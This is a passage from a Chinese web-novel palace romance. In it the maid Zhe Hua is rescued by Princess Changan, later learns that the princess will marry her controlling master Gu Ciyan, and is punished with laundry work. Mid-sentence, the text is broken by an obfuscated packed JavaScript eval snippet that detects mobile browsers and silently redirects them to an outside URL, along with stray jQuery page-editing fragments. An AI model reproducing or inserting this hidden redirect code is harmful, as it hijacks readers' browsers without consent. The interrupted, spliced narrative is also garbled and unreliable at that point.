折婳也看出来了严韵茵的不甘心。更让她没有想到的是严韵茵会找上她。 折婳和常安郡主没有接触,不知道常安郡主的为人。她从芳杏处得知,常安郡主身份尊贵,是季元恒的妹妹,她不知道常安郡主的品性是否是严韵茵口里这样的…… 按照严韵茵所说,常安郡主的刁蛮和钟岚欢相比,有过之无不及。 当初钟岚欢差点儿在围场取了她的性命,顾辞宴对钟岚欢无意,常安郡主却有皇上和顾辞宴护着…… 虽然严韵茵看起来是为她着想,但是折婳知道严韵茵的真正目的是想让自己当太子妃。 心中这样想着,折婳口里却道:“严小姐所说的事情,奴婢知道了。严小姐今日若是无事,奴婢便退下了。” 严韵茵道:“我若是你,趁常安郡主还没有嫁给顾世子,会争取不让常安郡主嫁给顾世子。不然等常安郡主进府,有这样的正妻,你会下场凄惨……” 15. 第 15 章 折婳今日去厨房迟了些,厨房没剩什么饭菜了。 折婳将膳食放进食盒,将膳食拿回了她的屋子。 折婳将手里的食盒放在屋子里的桌子上,下人每日的膳食自然和主子们的不一样。从前顾辞宴看重她,厨房看人下碟,有时候还会特意给她加餐。运气好,罗疱人还会特意给她留菜。 最近折婳却没有这样的待遇了。 折婳将食盒里的饭菜一一从里面取出来,在桌面上放下。 折婳的目光落在桌子上,不知道是不是最近顾辞宴歇在皇宫,又有顾辞宴马上要成婚,和常安郡主在皇宫‘情投意合’的传言。厨房刻意疏忽她,厨房最近几日做的菜肴都不合她的胃口。今日厨房给她的青菜竟然都炒焦了,看起来便没有食欲。 折婳将饭菜摆在桌面上,拿着筷子吃了几口便觉得有些难以下咽。 若是主子碰上不合自己胃口的饭菜,自然能让厨房重新烹饪新的菜肴。折婳不是主子,没有让厨房给她烹饪新的菜肴的能力。 其实在她成为顾辞宴的贴身丫鬟前,她吃过许多苦,她吃过许多比今日这些菜肴还要难吃的饭菜,甚至她太穷的时候,还要饿肚子。 没道理她现在成为了顾辞宴的丫鬟,反倒是挑三拣四来。 折婳不想饿肚子。她重新拿起筷子,勉强自己将眼前的饭菜吃完。 饭菜有些凉了,折婳吃完,感觉身体有些不适。 …… 折婳用完膳,起身将碗筷拿回厨房。 按理现在应该天气比较凉爽了,不知道是不是故意和折婳作对,今日日光却有些灼人,折婳这会儿走在树荫遮蔽的地方,她感觉身体没有那么难受了。 折婳身体本来有些不适,一时间也没有留意周围的场景。 “小心。”这时候,折婳的耳边突然响起一个女子的声音。 不等折婳反应过来,她感觉有人的手落在她的肩膀上,眼疾手快地将她拉到一旁。 耳边响起重物落地的声音,折婳站稳,视线朝她刚才的地方看去,刚才折婳站的地方,躺着一块拳头大小的石头。 若是这块石头刚才落在折婳的身上,石头是从高处落下来的,折婳即使不死,也会受很严重的伤。 看见折婳没事,刚才救了折婳的少女也是惊魂未定。 “刚刚若不是我,石头就要砸在你身上了,运气不好,你这会儿就一命呜呼了。”刚才救了折婳的少女站在折婳的面前,她的目光落在折婳的身上,一脸自豪道。 听见少女的话,折婳抬头看了一眼她头上的假山,地上这块差点儿砸到她的石头应该是从假山上落下来的。她刚才专心脚下,没有留意到假山上石头的松动。 回过神来,折婳面向刚才救了她的少女,双腿屈膝,郑重道:“多谢小姐救奴婢。” 少女的目光落在折婳的身上,她弯了弯唇角,笑道:“你生得真好看,是瑞王府的丫鬟?” 折婳垂着脑袋,老老实实道:“奴婢是顾世子的丫鬟。” 少女笑道:“我看的话本子上说救命之恩,以身相许,我刚才救了你,你要跟我吗?” 说话时,少女朝折婳的方向迈了两步。 少女的动作突然,折婳又垂着脑袋,她没有想到少女会忽然逼近她,她的脸蛋忍不住红了红。 折婳将刚才的话重复了一遍,道:“奴婢是顾世子的丫鬟。” 言外之意,她只是一个丫鬟,做不了自己的主。 少女却没有理解折婳话里的意思,她道:“你对你们顾世子这么忠心吗?我可以给你更好的条件,你也不愿意跟我吗?” 折婳垂着脑袋,不敢答应少女的话。 少女的目光落在折婳的身上,遗憾道:“看来我没有你们顾世子讨喜。” 折婳心说,这不是她是否讨喜的问题。 少女盯着折婳看了一会儿,道:“没有想到我竟然被嫌弃了。你不愿意跟我,能陪我在瑞王府逛逛吗?我好久没来瑞王府了,听说你们世子新得了一株兰花,你能带我去看看吗?” 少女能出现在瑞王府,便代表着少女不是寻常人家的女子。从少女的打扮和言谈举止来看,少女的身份也不是哪家的丫鬟。按理少女明显是个主子,听见少女的话,折婳不应该拒绝少女。只是…… 折婳道:“小姐若是想去花房,奴婢先去请示王爷,或者我们世子,然后再带小姐去花房,小姐觉得可以吗?” 不同于瑞王府的其他下人,她在瑞王府的时间毕竟不长,顾辞宴又很少让她和外面的人接触。京城的女眷她基本上都不认识。她不认识眼前的少女。 虽然折婳觉得少女能出现在瑞王府,少女仅仅是想观赏顾辞宴的兰花,瑞王和顾辞宴应该不会拒绝少女的要求。只是她毕竟不知道少女的身份,折婳想谨慎些。 从少女的穿戴来看,一看便是哪家受宠的小姐。以少女对瑞王府的熟稔,折婳以为眼前的少女是瑞王府的亲戚。 听见折婳的话,少女皱起眉头,面露不悦,道:“如此麻烦,你不能直接带我去花房吗?” 折婳站在少女的面前,垂着眼帘。 少女盯着折婳看了一会儿,道:“莫非你是害怕被你们主子怪罪?可是我仅仅是想观赏兰花,顾辞宴难道还会怪罪你吗?” 顾辞宴出身尊贵,如今又马上要被皇上立为储君,是以后的太子。眼前的少女竟然对顾辞宴直呼其名,折婳的眼眸里浮现一抹讶异。 少女故意板着脸,道:“你这个丫鬟好大的胆子,竟然又拒绝我了。” 不等折婳说话,少女的脸上又露出笑容,笑说道:“我不为难你了。你走吧,我自己在瑞王府逛逛。” 折婳双腿弯曲,目送少女离开。 等少女走远,折婳才直起身子。她看了一眼地上的石块,回忆刚才少女无忧无虑的模样,心中升起羡慕。 瞧刚才少女的模样,少女在家里应该很受家人宠爱,以她的家境,也不会像她般受穷困之苦,给人当丫鬟,都不是自由身。 她想要什么,应该都唾手可得,所以她刚才才能随口说出让她跟她的话。 只是不知道刚才的少女是何身份,才能活得那么潇洒肆意。 瞧少女的模样,刚才的少女似乎和顾辞宴关系匪浅。 …… 折婳在前往厨房时碰见了芳杏。 “折婳。”看见折婳,芳杏走到折婳的身边,亲昵地搂住折婳的胳膊,笑道:“你还没有用膳?” 折婳道:“吃过了,将碗筷送回厨房。” 芳杏的目光落在折婳的身上,道:“世子从皇宫回来了。折婳,你知道吗?” 折婳如实道:“我刚才在用膳,还没来得及得知此事。” 前几日顾辞宴歇在皇宫,芳杏和折婳能偷懒。如今顾辞宴从皇宫回来了,芳杏和折婳自然是不能再偷懒了。 芳杏沉默了一会儿,她的目光落在折婳的身上,压低声音道:“不仅是世子从皇宫回来了,我听说今日常安郡主也在瑞王府内。前几日世子和常安郡主皆歇在皇宫,今日世子回来,常安郡主也来了瑞王府,看来常安郡主和我们世子的情分真的不一般。”芳杏道。 芳杏曾经对折婳说过,因为季元恒的关系,常安郡主时不时会来京城,有时候还会在京城停留好长时间。 顾辞宴和季元恒关系好,常安郡主是季元恒的妹妹,顾辞宴和常安郡主自然也是十分熟稔。 折婳曾经听人说,若不是霄北王和王妃只有常安郡主一个女儿,舍不得女儿,想将女儿留在霄北,之前顾辞宴的正妻就会是常安郡主,不会轮到严韵茵和钟岚欢。 之前霄北王府似乎没准备将常安郡主嫁给顾辞宴,如今不知道为何又改变了主意。 顿了顿,芳杏小声道:“这么看来,未来的太子妃基本上已经确定是常安郡主了。” 折婳回忆严韵茵曾经找过她的事情,折婳看着芳杏,道:“严小姐来瑞王府时,严小姐还故意对我说起未来太子妃的事情,还想让我干涉太子妃的人选。严小姐将常安郡主说得很恐怖,说常安郡主曾经打伤过洛府的小姐,最后皇上却让洛小姐对常安郡主赔罪。” 芳杏张大了嘴巴,道:“严小姐竟然对你说过这样的事情?” 默了默,芳杏道:“此事我也听说过,不过据说是洛小姐和常安郡主起了口角,具体的事情,我也不清楚。不过常安郡主和京城的女子确实不一样,似乎会武,行事也不一样……” 常安郡主曾经打伤洛小姐的事情,此事毕竟涉及洛小姐和常安郡主,芳杏不敢议论,之前她也没有告诉折婳。 芳杏看着折婳,道:“严小姐故意对你说这样的话,是知道她和太子妃的位置无望了吗?” 折婳抿唇,道:“可能是这样吧。” 和芳杏一样的想法,折婳也认为若不是严韵茵基本上已经和太子妃的位置无缘,严韵茵今日不会自降身份,和折婳说这样的话语。 “常安郡主日后若是真嫁给了我们世子,以后也是我们的女主子了。若是常安郡主日后像对待洛小姐般对待我们,我们以后的日子怕是不太好……” 芳杏的目光落在折婳的身上,将声音压得特别低。 折婳和她不一样,折婳是被顾辞宴碰过身子的人。 折婳抿唇,常安郡主以后嫁给顾辞宴,她以后会下次凄惨的话,严韵茵之前也对她说过。 顾辞宴若是没有成婚,她们只需伺候顾辞宴。等顾辞宴的后院有了别的主子,就不是她们能控制了。 不过折婳虽然从严韵茵的口里得知了洛府小姐和常安郡主的事情,她没有完全相信严韵茵的话。虽然严韵茵故意将常安郡主说得十分恐怖,但是毕竟她和常安郡主没有接触过,她不会听信严韵茵的一面之词,而且在她看来,季元恒不是仗着自己的身份便不将其他人放在眼里,仗势欺人的人。 常安郡主是季元恒的妹妹。 季元恒和常安郡主是兄妹,常安郡主有严韵茵口里那么糟糕吗? 严韵茵和常安郡主都想成为顾辞宴的正妻,严韵茵为了自己的太子妃之位,自然不会将常安郡主形容得美好。 脑海里浮现顾辞宴从前提起常安郡主时的神情,折婳皱了皱眉。 其实相较于常安郡主的人品如何,顾辞宴的态度更重要。 若是顾辞宴在常安郡主还没有嫁进来时就将心偏向了她,反而对她们这些下人更加不利…… 即使常安郡主真的如严韵茵口里所言般,是一个性子刁蛮的人。日后太子府完全做主的人还是顾辞宴。但是若是顾辞宴也完全偏向了常安郡主…… 之前在围场,折婳能够察觉顾辞宴对钟岚欢的厌恶。顾辞宴虽然没有刻意排斥严韵茵的有意接近,但是也没有表现对严韵茵的太多好感…… 如芳杏所言般,顾辞宴对常安郡主,明显和严韵茵,钟岚欢是不一样的。 若是真如严韵茵般,常安郡主性子跋扈刁蛮,顾辞宴以后又护着常安郡主,她们日后的日子确实会苦不堪言…… …… 折婳没有想到她会那么快见到在别人口里提了无数次的常安郡主。 折婳走到正屋外面,站在顾辞宴的屋子外面的丫鬟冲折婳颔首。 折婳冲丫鬟点了点头,她抬脚走进屋子。 听见动静,顾辞宴的目光落在折婳的身上,又看了一眼砚台。折婳会意,站在书案前,将袖子朝上挽了一截,帮顾辞宴研墨。 屋外响起一阵轻快的脚步声,少女的声音先传了进来。 “我本来想去花房,碰见一个丫鬟不愿意带我去,我本来想着自己去,差点儿迷路了……” 听见有些耳熟的声音,折婳的眼睫颤了颤,谁这么大的胆子,敢没有下人通报的情况下,直接闯进来。 随着少女的声音,少女的身影也出现在了屋子。少女先看了顾辞宴一眼,她的目光落在折婳的身上,笑道:“是你这个丫鬟,我们这么快就又见到了……” 顾辞宴瞥了少女一眼,目光落在折婳的身上,道:“你们认识?” 眼前的少女竟然是之前在假山下救了她的人。 折婳垂着眼睛,将先前的事情复述了一遍,道:“奴婢之前路过假山时,有石子掉落,是这位小姐救了奴婢……” 听见折婳的话,顾辞宴的目光落在折婳的身上,道:“你受伤了?” 折婳摇头,道:“幸好这位小姐救了奴婢。” 少女笑道:“我刚才救了人,若不是我,你的这个丫鬟就丧命了。” 少女的这句话是对顾辞宴说的。 顾辞宴的目光落在少女的身上,瞥了折婳一眼,道:“你今日是应该感谢常安。” 常安郡主。 先前折婳一直低着脑袋,没怎么将目光落在少女的身上,此时她大着胆子看了少女一眼。 眼前的少女一身红色长裙,青丝在头发挽了一个少女发髻,亭亭玉立,鲜眉亮眼。虽然季元恒说她的眼睛和季筱书的眼睛生得有几分相似,但是眼前的少女的气质却是和她截然不同。少女的眉眼间有一股许多女子没有的英气。 更大的差别是少女身份尊贵。 她身份卑微。 折婳的手指弯曲,捏了捏两侧的衣角。 折婳面向季筱书,再次屈膝福身,感谢道:“之前多谢郡主救奴婢,奴婢没能认出郡主的身份,是奴婢眼拙。” 季筱书不在意道:“我和你之前没见过,你不认识我,很正常。” 季筱书和顾辞宴是主子,接下来便不是她这个丫鬟能插嘴的了。 看见季筱书,顾辞宴放下了手里的笔。季筱书兴致勃勃地和顾辞宴说起她刚才在瑞王府发生的事情。 顾辞宴不是对女子有耐心的人,此时他听着季筱书的话,难得没有露出不耐。 折婳听得出来顾辞宴和季筱书真的关系不一般。顾辞宴对季筱书的情分,不是严韵茵和钟岚欢能比的。 更何况季筱书还是霄北王府千娇百宠的郡主。 折婳站在一旁,垂着眼睛,思绪有些放空,直到季筱书的目光落在了她的身上。 刚才季筱书误会了折婳的目光,她将腰间的吉祥扣解下,在折婳的面前晃了晃。 季筱书笑道:“你盯着我这个吉祥扣看,莫不是也喜欢我这个吉祥扣?” 不等折婳说话,季筱书又道:“这吉祥扣的穗子和玉是我母妃帮我编的,在我们霄北,女子出嫁前,父母便会为女儿编这样一个吉祥扣。” 说话时,季筱书瞥了顾辞宴一眼。 虽然她和顾辞宴的成婚旨意还没有下来,但是她和顾辞宴的婚事基本上已经确定下来。 季筱书的目光落在折婳的身上,道:“你若是喜欢,可以让你的父母也给你弄一个。” 刚才折婳垂着脑袋,她没有意识到她无意识将视线落在了季筱书的腰间。 她的父母。听见季筱书的话,折婳朝顾辞宴的方向看了一眼。男子接过小丫鬟手里的茶盏,低头喝茶,让人看不出情绪。 折婳道:“多谢郡主好意,奴婢不需要。” 季筱书的眼眸里浮现疑惑,道:“为何不需要?莫非你不希望你成婚时,收到你父母的祝福?” 折婳心说,季筱书应该不知道她和顾辞宴之间的关系,像季筱书这样的身份,到时候她成婚,她会收到霄北王和霄北王妃的祝福。她会光明正大地站在顾辞宴身侧,风风光光地嫁给他。 她只是一个被顾辞宴碰了身子,却连任何名分都没有的丫鬟。 顾辞宴不允许她见她的父母,他瞧不起她的家人。她是他的丫鬟,本来就是被他轻视的存在。 和顾辞宴一样,季筱书也无法理解折婳的想法,道:“可是女子成婚时,不都希望收到父母的祝福?” 顾辞宴站在折婳的面前,瞥了一眼季筱书手里的吉祥扣,他目光落在折婳的身上,道:“这么喜欢?” 折婳道:“很特别,奴婢觉得郡主身上的衣裙的款式也很特别。” 折婳这话说得是实话。季筱书身上的穿戴和京城的其她贵女不一样。 季筱书听见折婳的话,低头瞧了瞧身上的红裙,笑道:“我也很喜欢我身上的这件红裙,父王和母妃曾经还说像嫁衣,不过我觉得这身红裙若是穿在你的身上,一定也很漂亮。” 折婳:“奴婢不能穿这样的衣裙。” 季筱书到时候成婚,不论是顾辞宴,还是霄北王府,都会给季筱书提供最美的嫁衣。 但是她身为丫鬟,是没有资格穿正红色衣裳的。 顾辞宴的目光落在折婳的身上,以折婳的身份,他日后给她一个名分,对她来说,已经是高攀了。 丫鬟没资格穿正红色衣裳,妾室也没有资格穿正红色衣裳。皇帝的妃嫔都没有资格穿正红色衣裳。 不过一件红裙,一个吉祥扣,折婳若是喜欢,等日后皇帝将权利完全放给他,他将这些给折婳,也不是不行。 折婳只要不太张扬,他现在便能让人给折婳裁制几身红裙,让折婳在屋里穿,穿给他看。 …… 季筱书之前居住在皇宫,季元恒都没机会和季筱书见面。得知季筱书在瑞王府,季元恒派人来请季筱书回去。 季筱书的目光落在折婳和顾辞宴的身上,道:“兄长派人来找我了,我要去见兄长了。我在京城的日子,会和兄长住在京城的王府。” 先帝曾经给霄北王在京城赐了一座宅子,这些年季元恒一直居住在京城的王府。之前皇帝为显龙恩,让季筱书在皇宫居住了一段时间。但是季筱书不可能一直居住在皇宫。 临走时,季筱书想起了什么,冲折婳道:“之前我让你跟我,你不愿意,改日我让你们世子将你给我,好不好?” 不等折婳和顾辞宴回答她,季筱书已经带着她的丫鬟离开了。 折婳面向门口的方向,目送季筱书离开。 顾辞宴却误会了折婳的目光,他的目光落在折婳的身上,道:“还在看?是十分想要那吉祥扣,还是喜欢那身红裙?” 顾辞宴抬手摸了摸折婳的脑袋,道:“我之前送了你那么多的东西,也没有见到你表现得如此喜欢。我给你的东西,不够多吗?” 折婳偏头看向顾辞宴,试探道:“若是奴婢说喜欢郡主身上的吉祥扣和红裙,世子能给奴婢吗?” 刚才季筱书身上的吉祥扣包含了父母的祝福。以后顾辞宴的正妻才能穿正红色。 这两样都不是顾辞宴想给折婳的。 顾辞宴落在折婳头上的手似乎还是那么温柔,但是语气里的重量却不能让人忽视,他道:“你若是喜欢,我能给你吉祥扣,但是不一定非要常安身上的那个款式。” 吉祥扣有许多款式,但是只有刚才季筱书身上的那个款式才是包含了父母的祝福,是父母会亲手给女儿准备的。 顾辞宴在拒绝折婳刚才的话。 折婳眨了眨眼睛,忘记了顾辞宴的手还落在她的青丝,她下意识低头躲开了顾辞宴的手。 顾辞宴的目光落在折婳的身上,他的眼眸眯起。 “常安郡主刚才让你跟她?” 季筱书已经离开,其她丫鬟不知道何时也退了出去,顾辞宴站在折婳的面前,在她的眼前投下一片阴影。 折婳已经回过神来,听见顾辞宴的话,她道:“之前郡主救了奴婢,说奴婢生得好看。郡主随口之言。” “随口之言?”顾辞宴的眼睛盯着折婳,道:“常安怎么没有和别人开这样的玩笑?” “常安向我讨要你,不如等日后我和她成婚,你去伺候她?” 顾辞宴的眼睛里浮现戾气,之前季元恒突然对折婳另眼相待,折婳因为季元恒的一瓶药膏和他闹脾气。好不容易他们回到瑞王府,只要他不想,折婳和季元恒便再无见面的机会。 今日折婳和季筱书第一次见面,季筱书便想向他讨要折婳。季家人都想从他这儿将折婳抢走? 这已经不是顾辞宴第一次说要将她送人了。日后顾辞宴和季筱书成婚,季筱书就是她的女主子,顾辞宴若是让她去伺候季筱书,也不过是一句话的事情。 折婳的心里产生一股厌倦和疲惫。 之前季元恒的事情,顾辞宴听不进去她的解释。折婳知道此时顾辞宴也不是要听她的解释。反正顾辞宴想要的是,是她无条件听他的吩咐。 折婳道:“嗯,日后奴婢去伺候常安郡主。” 她和季筱书仿佛珍珠和鱼目,如今珍珠在眼前,她这个鱼目也能随便处理了。 顾辞宴看着折婳转身离开,下意识地朝折婳的方向迈了一步,等回过神来,顾辞宴脸色冷冽。 莫非还要他这个主子去哄她?看来是之前他太轻易原谅她了。 “你以后若是去伺候常安,便不必在我的身边伺候了。你最初进瑞王府时干什么,你现在就去干什么……” 以他对折婳的好,折婳怎么可能不知道如何选择? 折婳冲顾辞宴福了福身,退了出去。 …… 芳杏刚才一直守在外面,将季筱书,折婳和顾辞宴几人的对话听了进去。看见折婳出来,她陪着折婳往外走,她回头看了一眼,在折婳的耳边小声道:“折婳,你以后真要去伺候常安郡主?” 季筱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15181501|165299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书虽然以后是太子妃,但是折婳和她不一样,她还以为顾辞宴会给折婳名分。 折婳道:“世子刚才是这么说的。” 不等芳杏说话,折婳又道:“我之前拜托你的事情,你做了吗?” 意识到折婳说得是什么,芳杏小声道:“嗯,我帮你送出去了。” 折婳郑重道:“多谢。” 之前被顾辞宴发现她寄给家人的信,事后芳杏又帮她去找了那个同乡。幸运的是那个同乡没有怪罪,反而十分同情折婳,愿意继续帮助折婳。 有前车之鉴,这次折婳没有自己动手写信。信是芳杏的笔迹,以芳杏的名义寄出去的。芳杏的一个亲戚在遇州?。 折婳的目光落在远处,不用像刚才在顾辞宴面前般强打起精神,她白净的脸蛋透着一股脆弱。 若是日后她去季筱书的身边伺候,顾辞宴不会像现在这般时刻盯着她的一举一动,她也能有更多的机会和家人取得联系。 …… 另一边,季筱书回到霄北王府在京城的宅子,便看见季元恒站在不远处,他一身靛蓝色衣袍,目光落在季筱书的身上,难得身上带着几分冷冽。 季筱书情不自禁朝后退了一步,道:“兄长,我好不容易来京城,你为何待我这么凶?” 季元恒看着季筱书,道:“你真要嫁给顾世子?” 季筱书将手放到身后,道:“皇上都同意了,此事还能有假?” 季元恒盯着季筱书看了一会儿,他叹了一口气,道:“以你的身份,你日后留在霄北,父王和母妃能护你一辈子,你以后的夫君也不敢负你,你何必来京城?你以后若是嫁给顾世子,你知道你以后会面对什么吗?” 听见季元恒的话,季筱书道:“兄长说我不应该来京城,难道兄长愿意一辈子困在京城?” 不等季元恒说话,季筱书又道:“我知道我以后会面对什么,父王和母妃只有我和你这两个儿女,我留在京城,兄长才有机会回霄北。皇上需要表态,我们霄北王府也需要表态。早些年大夫就诊断,我这辈子基本上和子嗣无缘了,日后我占着太子妃的位置,皇家也能降低对我们的防备。” 季元恒道:“那你和顾世子之间呢?你以后若是嫁给他,便是他的妻子……” 季筱书道:“看在兄长的份上,顾世子以后难道还会亏待我?” 听见季筱书天真的话,季元恒的脑海里不知怎么的想到了和季筱书有几分相似的折婳。折婳不仅仅是顾辞宴的丫鬟,他能看出来。 如今季筱书要嫁给顾辞宴,折婳现在应该在难过吧…… 不过顾辞宴早晚要成婚的,无论是他,还是顾辞宴和季筱书,都不认为折婳能成为顾辞宴的正妻。 虽然有皇帝宠幸宫女的事情,但是事后宫女不会获得很高的位分。折婳如今是顾辞宴的丫鬟,日后顾辞宴即使给折婳名分,折婳的名分也不会太高…… …… 瑞王府 萱如走到折婳的面前,将一堆脏衣裳扔到折婳的面前。猝不及防,脏衣裳从折婳的脸上拂过,气味太难闻,折婳差点儿作呕。 芳杏错愕地看着萱如的动作,道:“萱如姐姐,你这是干什么?” “世子让折婳以后去常安郡主的身边伺候,难道折婳现在不用干活?折婳最开始进入瑞王府时,不就是帮大家洗衣裳?”萱如睨着芳杏,道。 芳杏的嘴巴张了张,道:“可是……” 折婳打断了芳杏的话,她的目光落在萱如的身上,道:“我不会故意不干活,这些衣裳,我会洗的。” 萱如毕竟是皇帝赐给顾辞宴的人,即使顾辞宴不碰她,萱如也和普通丫鬟不一样,若是芳杏因为她得罪了萱如,芳杏以后在瑞王府的日子会很艰难。 见折婳就这么接受了,萱如怜悯地看了折婳一眼,道:“还以为真能飞上枝头变凤凰,结果还不是和我们一样,还是丫鬟的命。” 说完,萱如轻蔑地看了折婳一眼,抬脚离开了。 芳杏愤怒地看着萱如离开的方向,道:“萱如这是故意落井下石,欺负人吗?你好歹是世子的贴身丫鬟,怎么就沦落到给下人洗衣裳了?” 折婳道:“萱如也不算是故意欺负我,是世子说让我最开始在瑞王府干什么,现在就干什么。” 若不是有顾辞宴那话,下面的人怎么敢这样对待她? 见芳杏还要说什么,折婳拍了拍芳杏的胳膊,道:“你别在我这儿,去伺候世子。若是世子找你,没见到你的人,该怪罪你了。” 折婳刚进瑞王府时,又不是没有洗过衣裳。 折婳弯下身,将地上的衣裳捡起来放好,她抬脚去井边打水。 衣裳太多,自然没有热水来让折婳洗衣裳。等折婳将萱如刚才丢给她的衣裳洗完,手冻得红红的。 “洗完了?”萱如又给折婳丢了一堆衣裳,道:“你将这些衣裳也给洗了。” 折婳蹙了蹙眉。虽然她有丫鬟的自觉,该她干的活,她不会推卸。但是她不是第一日进瑞王府,即使是粗使丫鬟,也不会让她一天洗这么多衣裳。 “你不想洗了?”之前折婳没有反对,萱如的胆子便大了起来,此时她见折婳静静地看着她,不知怎的,她竟然感觉心里升起一股凉意。 “折婳,你在干什么?” 季筱书的声音突然响了起来。 季筱书的视线落在折婳面前的衣裳上,道:“怎么这么多的衣裳?” “是奴婢即将要洗的衣裳。”折婳道。 季筱书将折婳给拉了起来,道:“那你别洗了,我听说你们世子要将你给我,你现在要听我的。” 折婳猝不及防被季筱书拉走,她讶异道:“郡主要带奴婢去哪儿?” 季筱书想了想,道:“你现在是我的丫鬟,应该回我的府邸,你要随我回离开瑞王府吗?” 离开瑞王府。折婳眨了眨眼睛。 “她不会随你离开瑞王府。”折婳的胳膊被顾辞宴从季筱书手里拿出,他的目光落在折婳和季筱书的身上。 顾辞宴将折婳挡在身后,隔绝了季筱书看向折婳的视线。 季筱书道:“可是你不是说要将折婳给我?” 顾辞宴没有犹豫道:“我现在反悔了,不行?” “你怎么能这样?”季筱书剁了剁脚,离开了。 折婳垂着眼睛,没有说话。 顾辞宴皱眉,道:“为何不说话?” 折婳道:“世子想让奴婢说什么?” 之前说要让她去伺候季筱书的人是他,刚刚说反悔了的人也是他。 顾辞宴的视线落在折婳被冻红的手上,眸光沉了沉,道:“别人让你洗,你就洗?” 之前折婳还知道买通小厮,在他的面前故意提起她。现在她却不知道去找他认个错。 折婳道:“这是奴婢应该干的活。” 刚才的那些衣裳,她不洗,也会有别的丫鬟洗,她和别人一样,都是丫鬟。 顾辞宴道:“我让你以后别洗了。” 顾辞宴摸了摸折婳的脑袋,目光温和道:“我先前说得是气话,不会让你去伺候别人,你以后还是待在我的身边。” 她之前胆子变大了,这次竟然笨笨的。 她贪财的家人抛弃了她,她现在能依仗的人只有他。 只要他想,折婳便永远只能温顺地待在他的身边,眼里心里都是他。 这么想着,他便不计较季筱书和季元恒想从他这儿抢折婳的事情了。 他不放手,折婳,季元恒,或者是季筱书,都无法让折婳从他的身边离开。 折婳见顾辞宴执起她的手,目光落在她被冻红的手上。她伸手动了动,被顾辞宴握得更紧。 刚刚她的手长时间碰冷水,顾辞宴的掌心发烫,双手又疼又痒,偏偏她挣脱不开,折婳的心里讽刺。之前说了几次要将她送人,贬低她的人是他,这次她按照他的话去伺候季筱书,他还是不满意,她是一个丫鬟,便能被他随意对待。 如今他又开始反悔,让她回他的身边伺候,在他的眼里,她除了乖乖接受,没有第二个选择。 不知道是刚才她洗了太多的衣裳,还是这几日被厨房刻意怠慢,饭菜太不合她的胃口了。折婳感觉身体说不出的难受,让她想躬下身子。 …… 那日之后,折婳又见了季筱书几次。有时候季筱书来见顾辞宴时,折婳会在一旁伺候,季筱书性子爽朗大方,顾辞宴难得对季筱书很有耐心。 季筱书说一些没有意义的小事,顾辞宴也不会不耐烦地打断她。 在众人看来,季筱书和顾辞宴天作之合,门当户对,只等着皇帝赐婚的旨意下来了。 芳杏看着折婳回来,道:“折婳,日后常安郡主再来瑞王府见世子,你别去伺候世子了。” 虽然顾辞宴没有给折婳名分,但是瑞王府的人都知道折婳是顾辞宴的房里人。顾辞宴要成婚,不必避免。但是若是让折婳经常面对顾辞宴和季筱书相处,她若是折婳,心里一定十分难过。 折婳愣了愣,道:“等日后世子和常安郡主成婚,像现在这样伺候的时候会更多。” 虽然顾辞宴说不将她送给季筱书了,但是日后季筱书成为太子妃,她是顾辞宴的丫鬟,仍然要伺候季筱书和顾辞宴。 芳杏的眼睛泛起水光,道:“可是我不想你去,凭什么常安郡主以后是太子妃,你好歹将清白身子给了世子,世子难道想让你当一辈子丫鬟?” 折婳陈述事实,道:“常安郡主以后是太子妃,和我不一样。若是珍珠和鱼目放在你的眼前,你难道会认真对待鱼目?” 芳杏红着眼眶道:“可是你不是鱼目,在我看来,你和常安郡主的差别,是投胎的不同。” 芳杏抱住折婳的身子,道:“折婳,你别强撑。我看见你的样子,感觉好难过。” 折婳本来想安慰芳杏,她的视线不经意瞥见铜镜里的她,铜镜里的人是她吗?为何脸色如此苍白? 从围场回来的一个月后,皇帝正式立顾辞宴为储君的圣旨下来了。和立顾辞宴为储君的圣旨一同下来的,还有皇帝给季筱书和顾辞宴赐婚的圣旨。 折婳是丫鬟,自然没有去前厅接圣旨的机会。 折婳站在树下,桂花落在她的肩膀上,香气扑鼻。她许久没有动作,那桂花就稳稳地落在她的肩膀上。 “折婳。”芳杏走进来,欢喜道:“有好消息。” 折婳偏头看向芳杏,不知道是不是站得时间太久,反应有些缓慢。 芳杏走近折婳,在她的耳朵旁小声道:“你家人有消息了,我手里有你家人给你的信。”